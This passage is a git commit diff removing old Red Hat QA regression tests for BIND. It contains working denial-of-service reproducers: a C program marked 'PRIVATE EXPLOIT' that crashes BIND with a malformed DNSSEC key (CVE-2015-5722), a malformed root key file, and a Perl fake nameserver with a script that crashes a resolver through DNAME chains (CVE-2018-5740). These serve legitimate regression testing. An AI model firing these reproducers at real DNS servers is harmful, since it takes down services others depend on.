removing old and not functional tests
This commit is contained in:
Petr Sklenar
parent
09eafcd055
commit
45a1f718bf
17 changed files with 0 additions and 710 deletions
|
|
@ -1,70 +0,0 @@
|
|||
/*
|
||||
* compile with:
|
||||
*
|
||||
* gcc -g -O2 -Wall -I/usr/include/bind9 CVE-2015-5722.c -lisc -ldns
|
||||
*
|
||||
* Crash is caused by not decrementing the r.length field in
|
||||
* openssldh_fromdns.
|
||||
*
|
||||
* PRIVATE EXPLOIT -- DO NOT SHARE
|
||||
* */
|
||||
|
||||
#include <isc/mem.h>
|
||||
#include <isc/buffer.h>
|
||||
#include <isc/entropy.h>
|
||||
#include <dst/dst.h>
|
||||
#include <dns/name.h>
|
||||
#include <dns/fixedname.h>
|
||||
|
||||
#include <err.h>
|
||||
|
||||
int
|
||||
main(void)
|
||||
{
|
||||
isc_mem_t *mctx = NULL;
|
||||
if (isc_mem_create(0, 0, &mctx) != ISC_R_SUCCESS) {
|
||||
errx(1, "isc_mem_create");
|
||||
}
|
||||
|
||||
isc_entropy_t *ectx = NULL;
|
||||
if (isc_entropy_create(mctx, &ectx) != ISC_R_SUCCESS) {
|
||||
errx(1, "isc_entropy_create");
|
||||
}
|
||||
|
||||
if (dst_lib_init(mctx, ectx, 0) != ISC_R_SUCCESS) {
|
||||
errx(1, "dst_lib_init");
|
||||
}
|
||||
|
||||
isc_buffer_t b;
|
||||
isc_buffer_init(&b, "test.", 5);
|
||||
isc_buffer_add(&b, 5);
|
||||
dns_fixedname_t fname;
|
||||
dns_fixedname_init(&fname);
|
||||
dns_name_t *name = dns_fixedname_name(&fname);
|
||||
if (dns_name_fromtext(name, &b, NULL, 0, NULL) != ISC_R_SUCCESS) {
|
||||
errx(1, "dns_name_fromtext");
|
||||
}
|
||||
|
||||
unsigned char blob[] = {
|
||||
0, 0, /* flags */
|
||||
0, /* proto */
|
||||
2, /* alg */
|
||||
|
||||
0, 20, /* plen */
|
||||
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
||||
0, 20, /* glen */
|
||||
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
||||
0, 20, /* publen */
|
||||
/* missing pub field */
|
||||
};
|
||||
isc_buffer_init(&b, blob, sizeof(blob));
|
||||
isc_buffer_add(&b, sizeof(blob));
|
||||
|
||||
dst_key_t *key = NULL;
|
||||
isc_result_t ret = dst_key_fromdns(name, /* class */ 1, &b, mctx, &key);
|
||||
if (ret != ISC_R_SUCCESS) {
|
||||
errx(1, "dst_key_fromdns: %s", isc_result_totext(ret));
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
|
@ -1,63 +0,0 @@
|
|||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
#
|
||||
# Makefile of /CoreOS/bind/Regression/CVE-2015-5722
|
||||
# Description: malformed DNSSEC key failed assertion denial of service
|
||||
# Author: Petr Sklenar <psklenar@redhat.com>
|
||||
#
|
||||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
#
|
||||
# Copyright (c) 2015 Red Hat, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation, either version 2 of
|
||||
# the License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be
|
||||
# useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
|
||||
# PURPOSE. See the GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see http://www.gnu.org/licenses/.
|
||||
#
|
||||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
export TEST=/CoreOS/bind/Regression/CVE-2015-5722
|
||||
export TESTVERSION=1.0
|
||||
|
||||
BUILT_FILES=
|
||||
|
||||
FILES=$(METADATA) runtest.sh Makefile PURPOSE named.root.key CVE-2015-5722.c
|
||||
|
||||
.PHONY: all install download clean
|
||||
|
||||
run: $(FILES) build
|
||||
./runtest.sh
|
||||
|
||||
build: $(BUILT_FILES)
|
||||
test -x runtest.sh || chmod a+x runtest.sh
|
||||
|
||||
clean:
|
||||
rm -f *~ $(BUILT_FILES)
|
||||
|
||||
|
||||
include $(realpath /usr/share/rhts/lib/rhts-make.include)
|
||||
|
||||
$(METADATA): Makefile
|
||||
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
|
||||
@echo "Name: $(TEST)" >> $(METADATA)
|
||||
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
|
||||
@echo "Path: $(TEST_DIR)" >> $(METADATA)
|
||||
@echo "Description: malformed DNSSEC key failed assertion denial of service" >> $(METADATA)
|
||||
@echo "Type: Regression" >> $(METADATA)
|
||||
@echo "TestTime: 15m" >> $(METADATA)
|
||||
@echo "RunFor: bind" >> $(METADATA)
|
||||
@echo "Requires: bind bind-libs bind-devel gcc" >> $(METADATA)
|
||||
@echo "Priority: Normal" >> $(METADATA)
|
||||
@echo "License: GPLv2+" >> $(METADATA)
|
||||
@echo "Confidential: yes" >> $(METADATA)
|
||||
@echo "Destructive: no" >> $(METADATA)
|
||||
@echo "Releases: -RHEL4" >> $(METADATA)
|
||||
|
||||
[ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA)
|
||||
|
|
@ -1,3 +0,0 @@
|
|||
PURPOSE of /CoreOS/bind/Regression/CVE-2015-5722
|
||||
Description: malformed DNSSEC key failed assertion denial of service
|
||||
Author: Petr Sklenar <psklenar@redhat.com>
|
||||
|
|
@ -1,27 +0,0 @@
|
|||
summary: malformed DNSSEC key failed assertion denial of service
|
||||
description: ''
|
||||
contact: Petr Sklenar <psklenar@redhat.com>
|
||||
component:
|
||||
- bind
|
||||
test: ./runtest.sh
|
||||
require:
|
||||
- bind
|
||||
- bind-libs
|
||||
- bind-devel
|
||||
- gcc
|
||||
duration: 15m
|
||||
enabled: true
|
||||
tag:
|
||||
- ExpIgnorePass
|
||||
- NoRHEL4
|
||||
- TIP_fedora_fail
|
||||
- TIPfail_infra
|
||||
- TIPpass
|
||||
relevancy: |
|
||||
distro = rhel-4: False
|
||||
distro < rhel-5.10: False
|
||||
distro = rhel-5.9: False
|
||||
distro = rhel-5.9.aus: False
|
||||
extra-summary: /CoreOS/bind/Regression/CVE-2015-5722
|
||||
extra-task: /CoreOS/bind/Regression/CVE-2015-5722
|
||||
extra-nitrate: TC#0500553
|
||||
|
|
@ -1,5 +0,0 @@
|
|||
# Alternative reproducer.
|
||||
# Place this file into /etc/named.root.key and start named.
|
||||
managed-keys {
|
||||
. initial-key 257 3 2 "ABRAQEBAQEBAQEBAQEBAQEBAQEBAQAAUQEBAQEBAQEBAQEBAQEBAQEBAQEAAFA==";
|
||||
};
|
||||
|
|
@ -1,62 +0,0 @@
|
|||
#!/bin/bash
|
||||
# vim: dict+=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
|
||||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
#
|
||||
# runtest.sh of /CoreOS/bind/Regression/CVE-2015-5722
|
||||
# Description: malformed DNSSEC key failed assertion denial of service
|
||||
# Author: Petr Sklenar <psklenar@redhat.com>
|
||||
#
|
||||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
#
|
||||
# Copyright (c) 2015 Red Hat, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation, either version 2 of
|
||||
# the License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be
|
||||
# useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
|
||||
# PURPOSE. See the GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see http://www.gnu.org/licenses/.
|
||||
#
|
||||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
# Include Beaker environment
|
||||
. /usr/bin/rhts-environment.sh || exit 1
|
||||
. /usr/share/beakerlib/beakerlib.sh || exit 1
|
||||
|
||||
PACKAGE="bind"
|
||||
|
||||
rlJournalStart
|
||||
rlPhaseStartSetup
|
||||
rlRun 'rpm -q bind || rpm -q bind97' 0 "Checking for presence of bind or bind97 RPM"
|
||||
rlPhaseEnd
|
||||
|
||||
rlPhaseStartTest
|
||||
# TODO: For RHEL-5 the test can still be done if the key file is added to named.conf
|
||||
if rlIsRHEL '>5'; then
|
||||
rlRun "rlServiceStop named"
|
||||
rlRun "rlFileBackup /etc/named.root.key"
|
||||
rlRun "cat named.root.key > /etc/named.root.key"
|
||||
rlServiceStart named
|
||||
# FIXME: Quick and ugly.
|
||||
rlRun "grep -E ' (named|named-sdb)\[' /var/log/messages | tail -25 | grep 'public key is invalid'" 0 "Reproducer A"
|
||||
rlRun "rlFileRestore"
|
||||
fi
|
||||
|
||||
rlRun "rlServiceStart named"
|
||||
rlRun "gcc -g -O2 -Wall -I/usr/include/bind9 CVE-2015-5722.c -lisc -ldns"
|
||||
./a.out &> log-QA-CVE-2015-5722
|
||||
rlRun "grep 'public key is invalid\$' log-QA-CVE-2015-5722" 0 "Reproducer B"
|
||||
rlPhaseEnd
|
||||
|
||||
rlPhaseStartCleanup
|
||||
rlRun "rlServiceRestore named"
|
||||
rm -f log-QA-CVE-2015-5722 a.out
|
||||
rlPhaseEnd
|
||||
rlJournalPrintText
|
||||
rlJournalEnd
|
||||
Binary file not shown.
Binary file not shown.
|
|
@ -1,103 +0,0 @@
|
|||
#!/usr/bin/env perl
|
||||
#
|
||||
# Copyright (C) 2017 Internet Systems Consortium, Inc. ("ISC")
|
||||
#
|
||||
# Permission to use, copy, modify, and/or distribute this software for any
|
||||
# purpose with or without fee is hereby granted, provided that the above
|
||||
# copyright notice and this permission notice appear in all copies.
|
||||
#
|
||||
# THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
|
||||
# REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
|
||||
# AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
|
||||
# INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
|
||||
# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
|
||||
# OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
|
||||
# PERFORMANCE OF THIS SOFTWARE.
|
||||
|
||||
use strict;
|
||||
use warnings;
|
||||
|
||||
use IO::File;
|
||||
use Getopt::Long;
|
||||
use Net::DNS::Nameserver;
|
||||
|
||||
my $pidf = new IO::File "ans.pid", "w" or die "cannot open pid file: $!";
|
||||
print $pidf "$$\n" or die "cannot write pid file: $!";
|
||||
$pidf->close or die "cannot close pid file: $!";
|
||||
sub rmpid { unlink "ans.pid"; exit 1; };
|
||||
|
||||
$SIG{INT} = \&rmpid;
|
||||
$SIG{TERM} = \&rmpid;
|
||||
|
||||
my $localaddr = "10.53.0.3";
|
||||
my $localport = 5300;
|
||||
my $verbose = 0;
|
||||
my $ttl = 60;
|
||||
my $zone = "example.broken";
|
||||
my $nsname = "ns3.$zone";
|
||||
my $synth = "synth-then-dname.$zone";
|
||||
my $synth2 = "synth2-then-dname.$zone";
|
||||
|
||||
sub reply_handler {
|
||||
my ($qname, $qclass, $qtype, $peerhost, $query, $conn) = @_;
|
||||
my ($rcode, @ans, @auth, @add);
|
||||
|
||||
print ("request: $qname/$qtype\n");
|
||||
STDOUT->flush();
|
||||
|
||||
if ($qname eq "example.broken") {
|
||||
if ($qtype eq "SOA") {
|
||||
my $rr = new Net::DNS::RR("$qname $ttl $qclass SOA . . 0 0 0 0 0");
|
||||
push @ans, $rr;
|
||||
} elsif ($qtype eq "NS") {
|
||||
my $rr = new Net::DNS::RR("$qname $ttl $qclass NS $nsname");
|
||||
push @ans, $rr;
|
||||
$rr = new Net::DNS::RR("$nsname $ttl $qclass A $localaddr");
|
||||
push @add, $rr;
|
||||
}
|
||||
$rcode = "NOERROR";
|
||||
} elsif ($qname eq "cname-to-$synth2") {
|
||||
my $rr = new Net::DNS::RR("$qname $ttl $qclass CNAME name.$synth2");
|
||||
push @ans, $rr;
|
||||
$rr = new Net::DNS::RR("name.$synth2 $ttl $qclass CNAME name");
|
||||
push @ans, $rr;
|
||||
$rr = new Net::DNS::RR("$synth2 $ttl $qclass DNAME .");
|
||||
push @ans, $rr;
|
||||
$rcode = "NOERROR";
|
||||
} elsif ($qname eq "$synth" || $qname eq "$synth2") {
|
||||
if ($qtype eq "DNAME") {
|
||||
my $rr = new Net::DNS::RR("$qname $ttl $qclass DNAME .");
|
||||
push @ans, $rr;
|
||||
}
|
||||
$rcode = "NOERROR";
|
||||
} elsif ($qname eq "name.$synth") {
|
||||
my $rr = new Net::DNS::RR("$qname $ttl $qclass CNAME name.");
|
||||
push @ans, $rr;
|
||||
$rr = new Net::DNS::RR("$synth $ttl $qclass DNAME .");
|
||||
push @ans, $rr;
|
||||
$rcode = "NOERROR";
|
||||
} elsif ($qname eq "name.$synth2") {
|
||||
my $rr = new Net::DNS::RR("$qname $ttl $qclass CNAME name.");
|
||||
push @ans, $rr;
|
||||
$rr = new Net::DNS::RR("$synth2 $ttl $qclass DNAME .");
|
||||
push @ans, $rr;
|
||||
$rcode = "NOERROR";
|
||||
} else {
|
||||
$rcode = "REFUSED";
|
||||
}
|
||||
return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
|
||||
}
|
||||
|
||||
GetOptions(
|
||||
'port=i' => \$localport,
|
||||
'verbose!' => \$verbose,
|
||||
);
|
||||
|
||||
my $ns = Net::DNS::Nameserver->new(
|
||||
LocalAddr => $localaddr,
|
||||
LocalPort => $localport,
|
||||
ReplyHandler => \&reply_handler,
|
||||
Verbose => $verbose,
|
||||
);
|
||||
|
||||
$ns->main_loop;
|
||||
|
|
@ -1,38 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2011 Internet Systems Consortium, Inc. ("ISC")
|
||||
*
|
||||
* Permission to use, copy, modify, and/or distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
|
||||
* REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
|
||||
* AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
|
||||
* INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
|
||||
* LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
|
||||
* OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
|
||||
* PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
/* $Id: named.conf,v 1.2 2011/03/18 21:14:19 fdupont Exp $ */
|
||||
|
||||
// NS1
|
||||
|
||||
controls { /* empty */ };
|
||||
|
||||
options {
|
||||
query-source address 10.53.0.1;
|
||||
notify-source 10.53.0.1;
|
||||
transfer-source 10.53.0.1;
|
||||
port 5300;
|
||||
pid-file "named.pid";
|
||||
listen-on { 10.53.0.1; };
|
||||
listen-on-v6 { none; };
|
||||
recursion no;
|
||||
notify yes;
|
||||
};
|
||||
|
||||
zone "." {
|
||||
type master;
|
||||
file "root.db";
|
||||
};
|
||||
|
|
@ -1,30 +0,0 @@
|
|||
; Copyright (C) 2011, 2017 Internet Systems Consortium, Inc. ("ISC")
|
||||
;
|
||||
; Permission to use, copy, modify, and/or distribute this software for any
|
||||
; purpose with or without fee is hereby granted, provided that the above
|
||||
; copyright notice and this permission notice appear in all copies.
|
||||
;
|
||||
; THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
|
||||
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
|
||||
; AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
|
||||
; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
|
||||
; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
|
||||
; OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
|
||||
; PERFORMANCE OF THIS SOFTWARE.
|
||||
|
||||
$TTL 300
|
||||
. IN SOA gson.nominum.com. a.root.servers.nil. (
|
||||
2000042100 ; serial
|
||||
600 ; refresh
|
||||
600 ; retry
|
||||
1200 ; expire
|
||||
600 ; minimum
|
||||
)
|
||||
. NS a.root-servers.nil.
|
||||
a.root-servers.nil. A 10.53.0.1
|
||||
|
||||
example. NS ns2.example.
|
||||
ns2.example. A 10.53.0.2
|
||||
|
||||
example.broken. NS ns3.example.broken.
|
||||
ns3.example.broken. A 10.53.0.3
|
||||
|
|
@ -1,39 +0,0 @@
|
|||
/*
|
||||
* Copyright (C) 2011 Internet Systems Consortium, Inc. ("ISC")
|
||||
*
|
||||
* Permission to use, copy, modify, and/or distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
|
||||
* REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
|
||||
* AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
|
||||
* INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
|
||||
* LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
|
||||
* OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
|
||||
* PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
/* $Id: named.conf,v 1.2 2011/03/18 21:14:20 fdupont Exp $ */
|
||||
|
||||
// NS4
|
||||
|
||||
controls { /* empty */ };
|
||||
|
||||
options {
|
||||
query-source address 10.53.0.4;
|
||||
notify-source 10.53.0.4;
|
||||
transfer-source 10.53.0.4;
|
||||
port 5300;
|
||||
pid-file "named.pid";
|
||||
listen-on { 10.53.0.4; };
|
||||
listen-on-v6 { none; };
|
||||
recursion yes;
|
||||
|
||||
deny-answer-aliases { "example"; };
|
||||
};
|
||||
|
||||
zone "." {
|
||||
type hint;
|
||||
file "root.hint";
|
||||
};
|
||||
|
|
@ -1,20 +0,0 @@
|
|||
; Copyright (C) 2004, 2007 Internet Systems Consortium, Inc. ("ISC")
|
||||
; Copyright (C) 2000, 2001 Internet Software Consortium.
|
||||
;
|
||||
; Permission to use, copy, modify, and/or distribute this software for any
|
||||
; purpose with or without fee is hereby granted, provided that the above
|
||||
; copyright notice and this permission notice appear in all copies.
|
||||
;
|
||||
; THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
|
||||
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
|
||||
; AND FITNESS. IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
|
||||
; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
|
||||
; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
|
||||
; OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
|
||||
; PERFORMANCE OF THIS SOFTWARE.
|
||||
|
||||
; $Id: root.hint,v 1.5 2007/06/19 23:47:01 tbox Exp $
|
||||
|
||||
$TTL 999999
|
||||
. IN NS a.root-servers.nil.
|
||||
a.root-servers.nil. IN A 10.53.0.1
|
||||
|
|
@ -1,43 +0,0 @@
|
|||
#!/bin/sh
|
||||
#
|
||||
# Requires perl module Net::DNS::Nameserver and bind-utils
|
||||
|
||||
#NAMED=$(realpath ../../../named/named)
|
||||
NAMED=named
|
||||
|
||||
setup()
|
||||
{
|
||||
ip a add 10.53.0.1/24 dev lo
|
||||
ip a add 10.53.0.3/24 dev lo
|
||||
ip a add 10.53.0.4/24 dev lo
|
||||
}
|
||||
|
||||
start()
|
||||
{
|
||||
(cd ns1 && $NAMED -c named.conf -g &>named.run &)
|
||||
(cd ns4 && $NAMED -c named.conf -g &>named.run &)
|
||||
(cd ans3 && perl ans.pl &>ans.run &)
|
||||
|
||||
sleep 1
|
||||
}
|
||||
|
||||
cleanup()
|
||||
{
|
||||
kill $(cat ns1/named.pid) $(cat ns4/named.pid) $(cat ans3/ans.pid)
|
||||
}
|
||||
|
||||
start
|
||||
|
||||
if ! ps u "$(cat ns4/named.pid)"; then
|
||||
echo "Failed to start server, test failure."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
dig @10.53.0.4 -p 5300 -t dname synth2-then-dname.example.broken
|
||||
|
||||
if ! ps u "$(cat ns4/named.pid)"; then
|
||||
echo "SUCCESS! process is missing"
|
||||
tail ns4/named.run
|
||||
fi
|
||||
|
||||
cleanup
|
||||
|
|
@ -1,63 +0,0 @@
|
|||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
#
|
||||
# Copyright (c) 2010 Red Hat, Inc. All rights reserved.
|
||||
#
|
||||
# This copyrighted material is made available to anyone wishing
|
||||
# to use, modify, copy, or redistribute it subject to the terms
|
||||
# and conditions of the GNU General Public License version 2.
|
||||
#
|
||||
# This program is distributed in the hope that it will be
|
||||
# useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
|
||||
# PURPOSE. See the GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public
|
||||
# License along with this program; if not, write to the Free
|
||||
# Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
|
||||
# Boston, MA 02110-1301, USA.
|
||||
#
|
||||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
export TEST=/CoreOS/bind/Sanity/bz1613976
|
||||
export TESTVERSION=1.0
|
||||
|
||||
BUILT_FILES=
|
||||
|
||||
FILES=$(METADATA) runtest.sh Makefile CVE-2018-5740.tar.xz
|
||||
|
||||
.PHONY: all install download clean
|
||||
|
||||
run: $(FILES) build
|
||||
./runtest.sh
|
||||
|
||||
build: $(BUILT_FILES)
|
||||
chmod a+x runtest.sh
|
||||
|
||||
clean:
|
||||
rm -f *~ $(BUILT_FILES)
|
||||
|
||||
|
||||
include $(realpath /usr/share/rhts/lib/rhts-make.include)
|
||||
|
||||
$(METADATA): Makefile
|
||||
@echo "Owner: Petr Sklenar <psklenar@redhat.com>" > $(METADATA)
|
||||
@echo "Name: $(TEST)" >> $(METADATA)
|
||||
@echo "TestVersion: $(TESTVERSION)" >> $(METADATA)
|
||||
@echo "Path: $(TEST_DIR)" >> $(METADATA)
|
||||
@echo "Description: Run setup from internal BIND test suite and single edited test" >> $(METADATA)
|
||||
@echo "Type: Sanity" >> $(METADATA)
|
||||
@echo "TestTime: 8h" >> $(METADATA)
|
||||
@echo "RunFor: bind" >> $(METADATA)
|
||||
@echo "Requires: bind perl-Net-DNS rpm-build tar bind-utils" >> $(METADATA)
|
||||
@echo "Requires: openssl-devel libtool autoconf" >> $(METADATA)
|
||||
@echo "Requires: libcap-devel libidn-devel libxml2-devel" >> $(METADATA)
|
||||
@echo "Requires: openldap-devel postgresql-devel" >> $(METADATA)
|
||||
@echo "Requires: sqlite-devel krb5-devel net-tools perl-Net-DNS-Nameserver" >> $(METADATA)
|
||||
@echo "Requires: yum-utils dnf-utils" >> $(METADATA)
|
||||
@echo "Requires: gcc-c++" >> $(METADATA)
|
||||
@echo "Priority: Normal" >> $(METADATA)
|
||||
@echo "License: GPLv2" >> $(METADATA)
|
||||
@echo "Confidential: yes" >> $(METADATA)
|
||||
@echo "Destructive: no" >> $(METADATA)
|
||||
|
||||
[ -x /usr/bin/rhts-lint ] && rhts-lint $(METADATA)
|
||||
|
|
@ -1,38 +0,0 @@
|
|||
summary: Run setup from internal BIND test suite and single edited test
|
||||
contact: Petr Sklenar <psklenar@redhat.com>
|
||||
component:
|
||||
- bind
|
||||
test: ./runtest.sh
|
||||
require:
|
||||
- bind
|
||||
- perl-Net-DNS
|
||||
- rpm-build
|
||||
- tar
|
||||
- bind-utils
|
||||
- openssl-devel
|
||||
- libtool
|
||||
- autoconf
|
||||
- libcap-devel
|
||||
- libidn-devel
|
||||
- libxml2-devel
|
||||
- openldap-devel
|
||||
- postgresql-devel
|
||||
- sqlite-devel
|
||||
- krb5-devel
|
||||
- net-tools
|
||||
- perl-Net-DNS-Nameserver
|
||||
- yum-utils
|
||||
- dnf-utils
|
||||
- gcc-c++
|
||||
duration: 8h
|
||||
enabled: true
|
||||
tag:
|
||||
- CI-Tier-1
|
||||
- TIP_fedora_fail
|
||||
- TIPfail
|
||||
- TIPfail_infra
|
||||
relevancy: |
|
||||
distro < rhel-8: false
|
||||
extra-summary: /CoreOS/bind/Sanity/bz1613976
|
||||
extra-task: /CoreOS/bind/Sanity/bz1613976
|
||||
extra-nitrate: TC#0576810
|
||||
|
|
@ -1,106 +0,0 @@
|
|||
#!/bin/bash
|
||||
# vim: dict=/usr/share/beakerlib/dictionary.vim cpt=.,w,b,u,t,i,k
|
||||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
#
|
||||
# Copyright (c) 2010 Red Hat, Inc. All rights reserved.
|
||||
#
|
||||
# This copyrighted material is made available to anyone wishing
|
||||
# to use, modify, copy, or redistribute it subject to the terms
|
||||
# and conditions of the GNU General Public License version 2.
|
||||
#
|
||||
# This program is distributed in the hope that it will be
|
||||
# useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
|
||||
# PURPOSE. See the GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public
|
||||
# License along with this program; if not, write to the Free
|
||||
# Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
|
||||
# Boston, MA 02110-1301, USA.
|
||||
#
|
||||
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
# Include rhts environment
|
||||
. /usr/bin/rhts-environment.sh
|
||||
. /usr/lib/beakerlib/beakerlib.sh
|
||||
|
||||
PACKAGE=""
|
||||
rpm -q bind && PACKAGE="bind"
|
||||
rpm -q bind97 && PACKAGE="bind97"
|
||||
|
||||
rlJournalStart
|
||||
rlPhaseStartSetup
|
||||
rpm -q perl-Net-DNS-Nameserver || yum install -y perl-Net-DNS-Nameserver
|
||||
rlLog "`rpm -q perl-Net-DNS-Nameserver`"
|
||||
# package assertions
|
||||
rlAssertRpm $PACKAGE
|
||||
rlAssertRpm rpm-build
|
||||
|
||||
#tempdir
|
||||
rlRun "TMPDIR=\`mktemp -d\`" 0 "Creating tmp directory"
|
||||
rlRun "tar -xf CVE-2018-5740.tar.xz"
|
||||
rlRun "cp -r CVE-2018-5740 $TMPDIR"
|
||||
rlRun "pushd $TMPDIR"
|
||||
|
||||
if rlIsRHEL 8 && dnf config-manager --help >/dev/null; then
|
||||
# Some build dependencies are not in repositories enabled
|
||||
# by default: libidn2-devel
|
||||
rlRun "dnf config-manager --set-enabled rhel-buildroot"
|
||||
fi
|
||||
|
||||
# topdir
|
||||
if rlIsRHEL 3 || rlIsRHEL 4 || rlIsRHEL 5; then
|
||||
TOPDIR="/usr/src/redhat"
|
||||
else
|
||||
TOPDIR="/root/rpmbuild"
|
||||
fi
|
||||
|
||||
# cleanup in topdir
|
||||
mkdir -p $TOPDIR/{BUILD,SOURCES,SPECS}
|
||||
rm -rf $TOPDIR/{BUILD,SOURCES,SPECS}/*
|
||||
|
||||
# download src rpm
|
||||
rlFetchSrcForInstalled "$PACKAGE"
|
||||
rlRun "rpm --define '_topdir $TOPDIR' -Uvh *rpm &> $TMPDIR/install.txt"
|
||||
rlRun "cd $TOPDIR/SPECS"
|
||||
|
||||
if which yum-builddep; then
|
||||
rlRun "yum-builddep -y *.spec"
|
||||
elif dnf builddep --help >/dev/null; then
